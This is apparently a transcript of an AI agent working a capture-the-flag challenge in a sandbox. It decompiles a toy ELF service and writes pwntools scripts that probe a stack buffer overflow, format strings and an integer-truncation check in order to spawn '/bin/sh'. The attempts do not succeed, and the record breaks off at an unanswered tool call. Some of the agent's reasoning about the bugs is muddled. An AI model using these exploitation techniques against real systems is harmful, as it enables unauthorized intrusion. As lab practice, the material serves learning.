pwn a binary
I'll help you with binary exploitation! To get started, I need you to provide the binary file you want to analyze.
Quick Start Options:
- Upload binary file - Share the challenge binary
- Provide file path - If already in workspace
- Additional files - Any accompanying files (source code, libc, etc.)
What I'll do:
- Identify binary properties (architecture, protections)
- Find vulnerabilities (buffer overflow, format string, etc.)
- Develop exploit
- Extract flag
Please upload the binary file or provide its path in the workspace.
here is the binary
Call sandbox_execute
Arguments
{"command": "file /sandbox/service"}
Tool result
{"exitCode":0,"stdout":"/sandbox/service: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e778c2fddb2c5d4daba56d379bac9b31e24cc64e, for GNU/Linux 3.2.0, with debug_info, not stripped\n","stderr":""}Call sandbox_execute
Arguments
{"command": "checksec /sandbox/service 2>/dev/null || (readelf -h /sandbox/service && readelf -l /sandbox/service | grep -E \"GNU_STACK|GNU_RELRO\")"}
Tool result
{"exitCode":0,"stdout":"","stderr":""}Call ghidra_open_server
Arguments
{"filepath": "/sandbox/service"}
Tool result
{"result":"compilerID: gcc\nimports[2]:\n - functions[13]: __libc_start_main,puts,system,printf,srand,time,setvbuf,__isoc99_scanf,rand,__cxa_finalize,_ITM_deregisterTMCloneTable,_ITM_registerTMCloneTable,gmon_start\n name: \n - functions[0]:\n name: libc.so.6\nexports[23]{address,name}:\n "00101000",__DT_INIT\n "00101000",_init\n 001010c0,_start\n "00101160",__do_global_dtors_aux\n 001011a0,frame_dummy\n 001011a9,get_random_num\n 001011dc,echo\n 0010120e,spawn_shell\n 001012b8,main\n "00101420",__DT_FINI\n "00101420",_fini\n "00102000",_IO_stdin_used\n "00104040",data_start\n "00104040",__data_start\n "00104048",__dso_handle\n "00104050",stdout\n "00104050",stdout@GLIBC_2.2.5\n "00104050",_edata\n "00104050",__bss_start\n "00104050",TMC_END\n "00104060",stdin\n "00104060",stdin@GLIBC_2.2.5\n "00104070",_end\nformat: Executable and Linking Format (ELF)\nlanguageID: "x86:LE:64:default"\nprocessor: x86\nendianess: Little Endian\nsegments[39]{name,start,end}:\n segment_2.1,"00100000",0010034f\n .note.gnu.property,"00100350",0010036f\n .note.gnu.build-id,"00100370","00100393"\n .interp,"00100394",001003af\n .gnu.hash,001003b0,001003df\n .dynsym,"001003e0",0010055f\n .dynstr,"00100560","00100633"\n .gnu.version,"00100634","00100653"\n .gnu.version_r,"00100658","00100697"\n .rela.dyn,"00100698","00100787"\n .rela.plt,"00100788","00100847"\n .init,"00101000","00101016"\n .plt,"00101020",001010af\n .plt.got,001010b0,001010b7\n .text,001010c0,0010141f\n .fini,"00101420","00101428"\n .rodata,"00102000",0010223b\n .eh_frame_hdr,0010223c,0010227f\n .eh_frame,"00102280",0010238b\n .note.ABI-tag,0010238c,001023ab\n .init_array,00103dd0,00103dd7\n .fini_array,00103dd8,00103ddf\n .dynamic,00103de0,00103fbf\n .got,00103fc0,00103fe7\n .got.plt,00103fe8,0010403f\n .data,"00104040",0010404f\n .bss,"00104050",0010406f\n EXTERNAL,"00105000","00105067"\n .comment,".comment::00000000",".comment::0000001e"\n .debug_abbrev,".debug_abbrev::00000000",".debug_abbrev::000001bc"\n .debug_aranges,".debug_aranges::00000000",".debug_aranges::0000002f"\n .debug_info,".debug_info::00000000",".debug_info::00000439"\n .debug_line,".debug_line::00000000",".debug_line::00000110"\n .debug_line_str,".debug_line_str::00000000",".debug_line_str::000000e0"\n .debug_str,".debug_str::00000000",".debug_str::000002a0"\n .shstrtab,".shstrtab::00000000",".shstrtab::00000169"\n .strtab,".strtab::00000000",".strtab::00000294"\n .symtab,".symtab::00000000",".symtab::0000047f"\n _elfSectionHeaders,"_elfSectionHeaders::00000000","_elfSectionHeaders::0000093f"\naddressSize: 64 bit\nimageBase: "00100000"\nnamedFunctions[10]{address,name}:\n "00101000",_init\n 001010c0,_start\n 001010f0,deregister_tm_clones\n "00101120",register_tm_clones\n "00101160",__do_global_dtors_aux\n 001011a9,get_random_num\n 001011dc,echo\n 0010120e,spawn_shell\n 001012b8,main\n "00101420",_fini\nstrings[101]{address,value}:\n ".strtab::00000178",_fini\n ".shstrtab::00000129",.debug_info\n 001021de," | |"\n ".shstrtab::000000a8",.fini\n ".strtab::00000055",__do_global_dtors_aux_fini_array_entry\n ".strtab::0000007c",frame_dummy\n ".comment::00000000","GCC: (Debian 14.3.0-10) 14.3.0"\n 001005c4,libc.so.6\n 0010057b,time\n "00102222",2) get a shell\n ".shstrtab::00000011",.shstrtab\n ".shstrtab::000000f4",.dynamic\n "00100580",stdout\n ".strtab::00000001",Scrt1.o\n "00102060","You entered %d, the right answer is %d\\n"\n ".shstrtab::000000fd",.got.plt\n ".debug_str::00000000",printf\n "00102090"," _____ _ _ _ "\n ".shstrtab::000000e8",.fini_array\n ".shstrtab::00000089",.rela.plt\n ".strtab::0000017e",system@GLIBC_2.2.5\n ".strtab::000001eb",IO_stdin_used\n ".strtab::000001c2",data_start\n ".strtab::00000009",abi_tag\n "00102204","Pick something to do:"\n ".strtab::0000021c",main\n ".strtab::000001fa",time@GLIBC_2.2.5\n ".strtab::0000014e",puts@GLIBC_2.2.5\n ".strtab::000001cf",gmon_start\n ".strtab::0000015f",stdin@GLIBC_2.2.5\n ".shstrtab::00000041",.interp\n "00100569",stdin\n ".shstrtab::0000005b",.dynstr\n ".shstrtab::00000049",.gnu.hash\n ".strtab::0000011a",echo\n "00102047","What is %d + %d? \\n"\n ".shstrtab::00000093",.init\n ".strtab::000001a4",spawn_shell\n 0010061a,ITM_registerTMCloneTable\n 0010056f,puts\n ".shstrtab::0000007f",.rela.dyn\n ".strtab::00000013",crtstuff.c\n 0010221a,1) echo\n ".shstrtab::0000002e",.note.gnu.build-id\n ".shstrtab::00000106",.data\n ".shstrtab::00000001",.symtab\n 0010059f,__cxa_finalize\n ".strtab::0000013b",stdout@GLIBC_2.2.5\n "001005e4",GLIBC_2.34\n ".shstrtab::0000015a",.debug_line_str\n ".strtab::00000191",printf@GLIBC_2.2.5\n "00100561",setvbuf\n ".shstrtab::000000b6",.eh_frame_hdr\n "00102170"," | || | | | | | |) | () \\ \\ \\ | |) | | __/|"\n ".shstrtab::00000009",.strtab\n ".strtab::000000bc",_DYNAMIC\n ".shstrtab::00000063",.gnu.version\n "00100599",srand\n ".debug_line_str::00000000",main.c\n ".strtab::00000221",setvbuf@GLIBC_2.2.5\n ".shstrtab::000000ce",.note.ABI-tag\n ".shstrtab::00000053",.dynsym\n ".shstrtab::0000014f",.debug_str\n ".shstrtab::00000143",.debug_line\n ".strtab::000000d8",GLOBAL_OFFSET_TABLE\n ".strtab::000000fd",__libc_start_main@GLIBC_2.34\n ".strtab::000000ae",FRAME_END\n ".shstrtab::0000001b",.note.gnu.property\n 001005ce,GLIBC_2.7\n ".strtab::00000171",_edata\n "00100587",__libc_start_main\n ".shstrtab::000000ae",.rodata\n ".strtab::0000020b",_end\n "00100394",/lib64/ld-linux-x86-64.so.2\n 001005ae,printf\n ".shstrtab::00000099",.plt.got\n 001005d8,GLIBC_2.2.5\n ".strtab::0000025a",ITM_registerTMCloneTable\n "00102010","To get a shell you must answer the following question:"\n ".strtab::000000a7",main.c\n 001022b9,zR\n ".shstrtab::00000111",.comment\n "00102088",/bin/sh\n "00102138"," | || ' _ \\\\| '_ \\\\ / _ \\\\/ __/ __| | '_ \\\\| |/ _ \\\\ |\"\n \".shstrtab::000000dc\",.init_array\n \".strtab::00000049\",completed.0\n \".shstrtab::00000070\",.gnu.version_r\n 0010060b,__gmon_start__\n \".strtab::0000028f\",_init\n \".strtab::00000088\",__frame_dummy_init_array_entry\n \"00100574\",system\n \".strtab::0000011f\",_ITM_deregisterTMCloneTable\n \".strtab::00000274\",__cxa_finalize@GLIBC_2.2.5\n \"00102231\",3) quit\n \".shstrtab::000000a2\",.text\n \".shstrtab::0000011a\",.debug_aranges\n \".shstrtab::000000c4\",.eh_frame\n \"00102289\",zR\n \".strtab::000000c5\",__GNU_EH_FRAME_HDR\n \".strtab::000000ee\",get_random_num\n truncated... (more than 100 strings found),truncated\nfileSize: 19696 bytes\nentryPoint: \"\""}</code></pre></details>Call ghidra_decompile_function
Arguments
{"filepath": "/sandbox/service", "name_or_address": "main"}
Tool result
{"result":"\n/* WARNING: Unknown calling convention */\n\nint main(void)\n\n{\n int iVar1;\n time_t tVar2;\n int option;\n \n setvbuf(stdout,(char *)0x0,2,0);\n setvbuf(stdin,(char *)0x0,2,0);\n tVar2 = time((time_t *)0x0);\n srand((uint)tVar2);\n puts(" _____ _ _ _ ");\n puts("| | () | | | | |");\n puts(" | | _ __ ___ _ __ ___ ___ ___ | |_ | | __| |");\n puts(" | || \' _ \\\\| \\'_ \\\\ / _ \\\\/ __/ __| | \\'_ \\\\| |/ _ \\\\ |\");\n puts(\" _| || | | | | | |_) | (_) \\\\__ \\\\__ \\\\ | |_) | | __/_|\");\n puts(\" \\\\___/_| |_| |_| .__/ \\\\___/|___/___/_|_.__/|_|\\\\___(_)\");\n puts(\" | |\");\n puts(\" |_|\");\n puts(\"Pick something to do:\");\n puts(\"1) echo\");\n puts(\"2) get a shell\");\n puts(\"3) quit\");\n option = 0;\n while ((option != 3 && (iVar1 = __isoc99_scanf(&DAT_00102239,&option), 0 < iVar1))) {\n if (option == 1) {\n echo();\n }\n else if (option == 2) {\n spawn_shell();\n }\n }\n return 0;\n}\n\n"}</code></pre></details>_Call ghidra_decompile_function
Arguments
{"filepath": "/sandbox/service", "name_or_address": "echo"}
Tool result
{"result":"\n/* WARNING: Unknown calling convention -- yet parameter storage is locked /\n\nvoid echo(void)\n\n{\n char input [32];\n \n __isoc99_scanf(&DAT_00102008,input);\n puts(input);\n return;\n}\n\n"}Call ghidra_decompile_function
Arguments
{"filepath": "/sandbox/service", "name_or_address": "spawn_shell"}
Tool result
{"result":"\n/* WARNING: Unknown calling convention -- yet parameter storage is locked /\n\nvoid spawn_shell(void)\n\n{\n int input;\n int b;\n int a;\n \n puts("To get a shell you must answer the following question:");\n a = get_random_num();\n b = get_random_num();\n printf("What is %d + %d? \n",(ulong)(uint)a,(ulong)(uint)b);\n __isoc99_scanf(&DAT_0010205a,&input);\n printf("You entered %d, the right answer is %d\n",(ulong)(uint)input,(ulong)(uint)(a + b));\n if (a + b == input) {\n system("/bin/sh");\n }\n return;\n}\n\n"}Call ghidra_list_strings
Arguments
{"filepath": "/sandbox/service", "filter": "%"}
Tool result
{"result":["00100394: "/lib64/ld-linux-x86-64.so.2"","00100561: "setvbuf"","00100569: "stdin"","0010056f: "puts"","00100574: "system"","0010057b: "time"","00100580: "stdout"","00100587: "__libc_start_main"","00100599: "srand"","0010059f: "__cxa_finalize"","001005ae: "printf"","001005b5: "__isoc99_scanf"","001005c4: "libc.so.6"","001005ce: "GLIBC_2.7"","001005d8: "GLIBC_2.2.5"","001005e4: "GLIBC_2.34"","001005ef: "_ITM_deregisterTMCloneTable"","0010060b: "gmon_start"","0010061a: "ITM_registerTMCloneTable"","00102010: "To get a shell you must answer the following question:"","00102047: "What is %d + %d? \n"","00102060: "You entered %d, the right answer is %d\n"","00102088: "/bin/sh"","00102090: " _____ _ _ _ "","001020c8: "| | () | | | | |"","00102100: " | | _ __ ___ _ __ ___ ___ ___ | | | | __| |"","00102138: " | || ' _ \\| '_ \\ / _ \\/ __/ __| | '_ \\| |/ _ \\ |\"","00102170: \" _| || | | | | | |_) | (_) \\__ \\__ \\ | |_) | | __/_|\"","001021a8: \" \\___/_| |_| |_| .__/ \\___/|___/___/_|_.__/|_|\\___(_)\"","001021de: \" | |\"","001021f1: \" |_|\"","00102204: \"Pick something to do:\"","0010221a: \"1) echo\"","00102222: \"2) get a shell\"","00102231: \"3) quit\"","00102289: \"zR\"","001022b9: \"zR\"",".comment::00000000: \"GCC: (Debian 14.3.0-10) 14.3.0\"",".debug_line_str::00000000: \"main.c\"",".debug_str::00000000: \"printf\"",".shstrtab::00000001: \".symtab\"",".shstrtab::00000009: \".strtab\"",".shstrtab::00000011: \".shstrtab\"",".shstrtab::0000001b: \".note.gnu.property\"",".shstrtab::0000002e: \".note.gnu.build-id\"",".shstrtab::00000041: \".interp\"",".shstrtab::00000049: \".gnu.hash\"",".shstrtab::00000053: \".dynsym\"",".shstrtab::0000005b: \".dynstr\"",".shstrtab::00000063: \".gnu.version\"",".shstrtab::00000070: \".gnu.version_r\"",".shstrtab::0000007f: \".rela.dyn\"",".shstrtab::00000089: \".rela.plt\"",".shstrtab::00000093: \".init\"",".shstrtab::00000099: \".plt.got\"",".shstrtab::000000a2: \".text\"",".shstrtab::000000a8: \".fini\"",".shstrtab::000000ae: \".rodata\"",".shstrtab::000000b6: \".eh_frame_hdr\"",".shstrtab::000000c4: \".eh_frame\"",".shstrtab::000000ce: \".note.ABI-tag\"",".shstrtab::000000dc: \".init_array\"",".shstrtab::000000e8: \".fini_array\"",".shstrtab::000000f4: \".dynamic\"",".shstrtab::000000fd: \".got.plt\"",".shstrtab::00000106: \".data\"",".shstrtab::0000010c: \".bss\"",".shstrtab::00000111: \".comment\"",".shstrtab::0000011a: \".debug_aranges\"",".shstrtab::00000129: \".debug_info\"",".shstrtab::00000135: \".debug_abbrev\"",".shstrtab::00000143: \".debug_line\"",".shstrtab::0000014f: \".debug_str\"",".shstrtab::0000015a: \".debug_line_str\"",".strtab::00000001: \"Scrt1.o\"",".strtab::00000009: \"__abi_tag\"",".strtab::00000013: \"crtstuff.c\"",".strtab::0000001e: \"deregister_tm_clones\"",".strtab::00000033: \"__do_global_dtors_aux\"",".strtab::00000049: \"completed.0\"",".strtab::00000055: \"__do_global_dtors_aux_fini_array_entry\"",".strtab::0000007c: \"frame_dummy\"",".strtab::00000088: \"__frame_dummy_init_array_entry\"",".strtab::000000a7: \"main.c\"",".strtab::000000ae: \"__FRAME_END__\"",".strtab::000000bc: \"_DYNAMIC\"",".strtab::000000c5: \"__GNU_EH_FRAME_HDR\"",".strtab::000000d8: \"_GLOBAL_OFFSET_TABLE_\"",".strtab::000000ee: \"get_random_num\"",".strtab::000000fd: \"__libc_start_main@GLIBC_2.34\"",".strtab::0000011a: \"echo\"",".strtab::0000011f: \"_ITM_deregisterTMCloneTable\"",".strtab::0000013b: \"stdout@GLIBC_2.2.5\"",".strtab::0000014e: \"puts@GLIBC_2.2.5\"",".strtab::0000015f: \"stdin@GLIBC_2.2.5\"",".strtab::00000171: \"_edata\"",".strtab::00000178: \"_fini\"",".strtab::0000017e: \"system@GLIBC_2.2.5\"",".strtab::00000191: \"printf@GLIBC_2.2.5\"",".strtab::000001a4: \"spawn_shell\"",".strtab::000001b0: \"srand@GLIBC_2.2.5\"",".strtab::000001c2: \"__data_start\"",".strtab::000001cf: \"__gmon_start__\"",".strtab::000001de: \"__dso_handle\"",".strtab::000001eb: \"_IO_stdin_used\"",".strtab::000001fa: \"time@GLIBC_2.2.5\"",".strtab::0000020b: \"_end\"",".strtab::00000210: \"__bss_start\"",".strtab::0000021c: \"main\"",".strtab::00000221: \"setvbuf@GLIBC_2.2.5\"",".strtab::00000235: \"__isoc99_scanf@GLIBC_2.7\"",".strtab::0000024e: \"__TMC_END__\"",".strtab::0000025a: \"_ITM_registerTMCloneTable\"",".strtab::00000274: \"__cxa_finalize@GLIBC_2.2.5\"",".strtab::0000028f: \"_init\""]}</code></pre></details>_Call ghidra_get_data_by_address
Arguments
{"filepath": "/sandbox/service", "address": "0x00102008"}
Tool result
{"result":"25h %"}Call ghidra_get_data_by_address
Arguments
{"filepath": "/sandbox/service", "address": "0x0010205a"}
Tool result
{"result":"25h %"}Call ghidra_get_data_by_address
Arguments
{"filepath": "/sandbox/service", "address": "0x00102239"}
Tool result
{"result":"25h %"}Call sandbox_execute
Arguments
{"command": "strings /sandbox/service | grep \"%\" | head -20"}
Tool result
{"exitCode":0,"stdout":"%31s\nWhat is %d + %d? \nYou entered %d, the right answer is %d\n","stderr":""}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/exploit.py", "content": "#!/usr/bin/env python3\nfrom pwn import *\n\n# Context\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\n# Connect\np = process('/sandbox/service')\n# p = remote('target', port)\n\n# Receive banner\np.recvuntil(b'3) quit\\n')\n\n# Choose option 1 (echo)\np.sendline(b'1')\n\n# Send format string payload to leak values or overwrite\n# The echo function uses scanf(\"%31s\", input) then puts(input)\n# This is a buffer overflow vulnerability - input buffer is 32 bytes\n# But also we can use format string if puts is called with our input\n\n# Let's try buffer overflow first\n# Stack layout in echo():\n# char input[32] - local variable\n# We can overflow this to overwrite return address\n\n# Generate cyclic pattern to find offset\npayload = cyclic(100)\np.sendline(payload)\n\ntry:\n p.recvall(timeout=2)\nexcept:\n pass\n\np.close()\n"}
Tool result
{"result":"/sandbox/exploit.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 exploit.py", "timeout": 10}
Tool result
{"exitCode":1,"stdout":"[ERROR] '/sandbox/service' is not marked as executable (+x)\n","stderr":"Warning: _curses.error: setupterm: could not find terminfo database\n\nTerminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).\nTraceback (most recent call last):\n File "/sandbox/exploit.py", line 9, in \n p = process('/sandbox/service')\n File "/tmp/venv/lib/python3.13/site-packages/pwnlib/tubes/process.py", line 277, in init\n executable_val, argv_val, env_val = self._validate(cwd, executable, argv, env)\n ~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/tmp/venv/lib/python3.13/site-packages/pwnlib/tubes/process.py", line 618, in validate\n self.error("%r is not marked as executable (+x)" % executable)\n ~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/tmp/venv/lib/python3.13/site-packages/pwnlib/log.py", line 439, in error\n raise PwnlibException(message % args)\npwnlib.exception.PwnlibException: '/sandbox/service' is not marked as executable (+x)\n"}Call sandbox_execute
Arguments
{"command": "chmod +x /sandbox/service"}
Tool result
{"exitCode":0,"stdout":"","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 -c \"from pwn import *; context.log_level='error'; p=process('./service'); p.recvuntil(b'quit'); p.sendline(b'1'); p.sendline(cyclic(100)); print(p.recvall(timeout=1))\"", "timeout": 10}
Tool result
{"exitCode":0,"stdout":"b'\naaaabaaacaaadaaaeaaafaaagaaahaa\n'\n","stderr":"Warning: curses.error: setupterm: could not find terminfo database\n\nTerminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).\n"}Call ghidra_disassemble_function
Arguments
{"filepath": "/sandbox/service", "address": "0x001011dc"}
Tool result
{"result":["001011dc: PUSH RBP ","001011dd: MOV RBP,RSP ","001011e0: SUB RSP,0x20 ","001011e4: LEA RAX,[RBP + -0x20] ","001011e8: MOV RSI,RAX ","001011eb: LEA RAX,[0x102008] ","001011f2: MOV RDI,RAX ","001011f5: MOV EAX,0x0 ","001011fa: CALL 0x00101090 ","001011ff: LEA RAX,[RBP + -0x20] ","00101203: MOV RDI,RAX ","00101206: CALL 0x00101030 ","0010120b: NOP ","0010120c: LEAVE ","0010120d: RET "]}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/exploit2.py", "content": "#!/usr/bin/env python3\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.log_level = 'error'\n\n# Binary analysis shows:\n# - PIE enabled (need leak)\n# - echo() has buffer overflow: char input[32] on stack at [rbp-0x20]\n# - Return address at rbp+8, so offset is 0x20 + 8 = 40 bytes\n# - spawn_shell() exists at offset from base\n# - system(\"/bin/sh\") called in spawn_shell if math check passes\n\n# Strategy: Just use option 2 and answer the math question correctly\np = process('./service')\n\np.recvuntil(b'3) quit\\n')\np.sendline(b'2')\n\n# Receive the math question\nline = p.recvline()\nprint(f\"Question: {line}\")\n\n# Parse \"What is X + Y?\"\nimport re\nmatch = re.search(rb'What is (\\d+) \\+ (\\d+)\\?', line)\nif match:\n a = int(match.group(1))\n b = int(match.group(2))\n answer = a + b\n print(f\"Sending answer: {answer}\")\n p.sendline(str(answer).encode())\n \n # Get shell\n p.interactive()\nelse:\n print(\"Failed to parse question\")\n p.close()\n"}
Tool result
{"result":"/sandbox/exploit2.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && echo \"cat /etc/hostname\" | python3 exploit2.py", "timeout": 10}
Tool result
{"exitCode":0,"stdout":"Question: b'To get a shell you must answer the following question:\n'\nFailed to parse question\n","stderr":"Warning: curses.error: setupterm: could not find terminfo database\n\nTerminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).\n"}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/exploit3.py", "content": "#!/usr/bin/env python3\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\np = process('./service')\n\np.recvuntil(b'3) quit\\n')\np.sendline(b'2')\n\n# Read lines until we get the math question\ndata = p.recvuntil(b'? \\n')\nprint(f\"Received: {data}\")\n\n# Parse \"What is X + Y?\"\nimport re\nmatch = re.search(rb'What is (\\d+) \\+ (\\d+)\\?', data)\nif match:\n a = int(match.group(1))\n b = int(match.group(2))\n answer = a + b\n print(f\"Sending answer: {answer}\")\n p.sendline(str(answer).encode())\n \n # Check response\n resp = p.recvline()\n print(f\"Response: {resp}\")\n \n # Get shell\n p.sendline(b'cat flag.txt || echo FLAG_NOT_FOUND')\n print(p.recvall(timeout=2))\nelse:\n print(\"Failed to parse question\")\n p.close()\n"}
Tool result
{"result":"/sandbox/exploit3.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 exploit3.py", "timeout": 10}
Tool result
{"exitCode":0,"stdout":"[x] Starting local process './service'\n[+] Starting local process './service': pid 15\nReceived: b'To get a shell you must answer the following question:\nWhat is 113113 + 123443? \n'\nSending answer: 236556\nResponse: b'You entered 39948, the right answer is 236556\n'\n[x] Receiving all data\n[x] Receiving all data: 0B\n[+] Receiving all data: Done (0B)\n[] Stopped process './service' (pid 15)\nb''\n","stderr":"Warning: _curses.error: setupterm: could not find terminfo database\n\nTerminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).\n"}Call ghidra_get_data_by_address
Arguments
{"filepath": "/sandbox/service", "address": "0x0010205a"}
Tool result
{"result":"25h %"}Call sandbox_execute
Arguments
{"command": "xxd /sandbox/service | grep -A2 -B2 \"205a\""}
Tool result
{"exitCode":1,"stdout":"","stderr":""}Call sandbox_execute
Arguments
{"command": "objdump -s -j .rodata /sandbox/service | grep -A5 2050"}
Tool result
{"exitCode":0,"stdout":" 2050 64202b20 25643f20 0a002568 75000000 d + %d? ..%hu...\n 2060 596f7520 656e7465 72656420 25642c20 You entered %d, \n 2070 74686520 72696768 7420616e 73776572 the right answer\n 2080 20697320 25640a00 2f62696e 2f736800 is %d../bin/sh.\n 2090 205f5f5f 5f5f2020 20202020 20202020 _____ \n 20a0 20202020 20202020 20202020 20202020 \n","stderr":""}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/exploit4.py", "content": "#!/usr/bin/env python3\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\np = process('./service')\n\np.recvuntil(b'3) quit\\n')\np.sendline(b'2')\n\n# Read lines until we get the math question\ndata = p.recvuntil(b'? \\n')\nprint(f\"Received: {data}\")\n\n# Parse \"What is X + Y?\"\nimport re\nmatch = re.search(rb'What is (\\d+) \\+ (\\d+)\\?', data)\nif match:\n a = int(match.group(1))\n b = int(match.group(2))\n answer = a + b\n print(f\"Sending answer: {answer}\")\n \n # The scanf format is \"%hu\" which reads unsigned short (2 bytes, 0-65535)\n # So we need to send answer % 65536\n answer_mod = answer % 65536\n print(f\"Answer modulo 65536: {answer_mod}\")\n p.sendline(str(answer_mod).encode())\n \n # Check response\n resp = p.recvline()\n print(f\"Response: {resp}\")\n \n # Get shell\n p.sendline(b'id')\n print(p.recvall(timeout=2))\nelse:\n print(\"Failed to parse question\")\n p.close()\n"}
Tool result
{"result":"/sandbox/exploit4.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 exploit4.py", "timeout": 10}
Tool result
{"exitCode":0,"stdout":"[x] Starting local process './service'\n[+] Starting local process './service': pid 15\nReceived: b'To get a shell you must answer the following question:\nWhat is 93746 + 133385? \n'\nSending answer: 227131\nAnswer modulo 65536: 30523\nResponse: b'You entered 30523, the right answer is 227131\n'\n[x] Receiving all data\n[x] Receiving all data: 0B\n[+] Receiving all data: Done (0B)\n[] Stopped process './service' (pid 15)\nb''\n","stderr":"Warning: _curses.error: setupterm: could not find terminfo database\n\nTerminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).\n"}Call ghidra_decompile_function
Arguments
{"filepath": "/sandbox/service", "name_or_address": "get_random_num"}
Tool result
{"result":"\n/* WARNING: Unknown calling convention /\n\nint get_random_num(void)\n\n{\n int iVar1;\n \n iVar1 = rand();\n return iVar1 % 70000 + 70000;\n}\n\n"}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/exploit_bof.py", "content": "#!/usr/bin/env python3\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\n# Get base address by running the binary\nelf = ELF('./service')\np = process('./service')\n\n# Use echo() buffer overflow to overwrite return address\n# The binary is PIE, so we need to leak or calculate addresses\n\n# Option 1: Use ROP to leak, then return\n# Option 2: Partial overwrite to jump to spawn_shell\n\n# Let's find spawn_shell offset\nspawn_shell_offset = elf.symbols['spawn_shell']\nprint(f\"spawn_shell offset: {hex(spawn_shell_offset)}\")\n\n# Use echo buffer overflow\np.recvuntil(b'3) quit\\n')\np.sendline(b'1')\n\n# Overflow: 32 bytes buffer + 8 bytes RBP = 40 bytes to RET\n# We'll do a partial overwrite to jump to spawn_shell\n# Since PIE, lower 12 bits are same\n\npayload = b'A' * 40\npayload += p64(spawn_shell_offset) # This won't work with PIE\n\np.sendline(payload)\n\ntry:\n print(p.recvall(timeout=2))\nexcept:\n pass\n\np.close()\n"}
Tool result
{"result":"/sandbox/exploit_bof.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 -c \"\nfrom pwn import *\ncontext.log_level='error'\np = process('./service')\np.recvuntil(b'quit')\np.sendline(b'1')\n\n# Try format string\np.sendline(b'%p.%p.%p.%p.%p.%p')\nprint(p.recvall(timeout=1))\n\" 2>&1 | grep -v \"Warning:\"", "timeout": 10}
Tool result
{"exitCode":0,"stdout":"\nTerminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).\nb'\n%p.%p.%p.%p.%p.%p\n'\n","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 -c \"\nfrom pwn import *\ncontext.log_level='error'\n\n# The echo function uses scanf('%31s') then puts()\n# Buffer is 32 bytes at [rbp-0x20]\n# We can overflow to overwrite return address\n\n# But with PIE, we need to leak or do partial overwrite\n# Let's try ret2main or find a gadget\n\n# Actually, let's check if we can do a partial overwrite\n# to jump to spawn_shell function\n\np = process('./service')\np.recvuntil(b'quit')\np.sendline(b'1')\n\n# Overflow with pattern\npayload = cyclic(100)\np.sendline(payload)\n\ntry:\n p.wait()\n core = p.corefile\n print(f'RIP: {hex(core.rip)}')\n print(f'Offset: {cyclic_find(core.rip)}')\nexcept:\n print('No crash')\n\" 2>&1 | grep -v \"Warning:\" | grep -v \"Terminal\"", "timeout": 15}
Tool result
{"exitCode":0,"stdout":"\n[ERROR] Could not find core file for pid 18\nNo crash\n","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 -c \"\nfrom pwn import *\ncontext.log_level='error'\ncontext.arch = 'amd64'\n\n# Test actual overflow\np = process('./service')\np.recvuntil(b'quit')\np.sendline(b'1')\n\n# Send exactly at boundary\nfor size in [32, 40, 48, 56]:\n p = process('./service')\n p.recvuntil(b'quit')\n p.sendline(b'1')\n payload = b'A' * size\n p.sendline(payload)\n time.sleep(0.1)\n \n if p.poll() is not None:\n print(f'Crashed at size: {size}')\n break\n else:\n print(f'Size {size}: OK')\n p.close()\n\" 2>&1 | grep -v \"Warning:\" | grep -v \"Terminal\"", "timeout": 15}
Tool result
{"exitCode":0,"stdout":"\nCrashed at size: 32\n","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 -c \"\nfrom pwn import *\n\n# The scanf reads with %31s which limits to 31 chars + null byte\n# So we can't overflow the buffer via echo!\n# The buffer is 32 bytes, scanf reads max 31 + null = 32 total\n\n# Let's look at the spawn_shell integer overflow vulnerability instead\n# get_random_num returns: rand() % 70000 + 70000\n# This gives range [70000, 139999]\n# Two such numbers summed: [140000, 279998]\n\n# scanf uses %hu which reads unsigned short (0-65535)\n# printf shows the full int value\n\n# So if answer > 65535, we read (answer % 65536) due to %hu\n# But comparison uses full int value, so we can't match\n\n# UNLESS... there's an integer overflow in the comparison\n# Let's check: a + b vs input\n# input is read as unsigned short (0-65535)\n# a and b are ints (70000-139999 each)\n\n# When we send a number via scanf(%hu), it's stored as unsigned short\n# But then compared to int\n\nprint('Vulnerability: Integer truncation')\nprint('scanf reads %hu (unsigned short, 0-65535)') \nprint('But stores in int variable')\nprint('Comparison: (a+b) == input')\nprint('If a+b > 65535, we send (a+b) & 0xFFFF to match')\n\n# Wait, I already tried this. Let me re-examine the decompiled code\n\" 2>&1 | tail -20"}
Tool result
{"exitCode":0,"stdout":"Warning: curses.error: setupterm: could not find terminfo database\n\nTerminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).\nVulnerability: Integer truncation\nscanf reads %hu (unsigned short, 0-65535)\nBut stores in int variable\nComparison: (a+b) == input\nIf a+b > 65535, we send (a+b) & 0xFFFF to match\n","stderr":""}Call ghidra_decompile_function
Arguments
{"filepath": "/sandbox/service", "name_or_address": "spawn_shell"}
Tool result
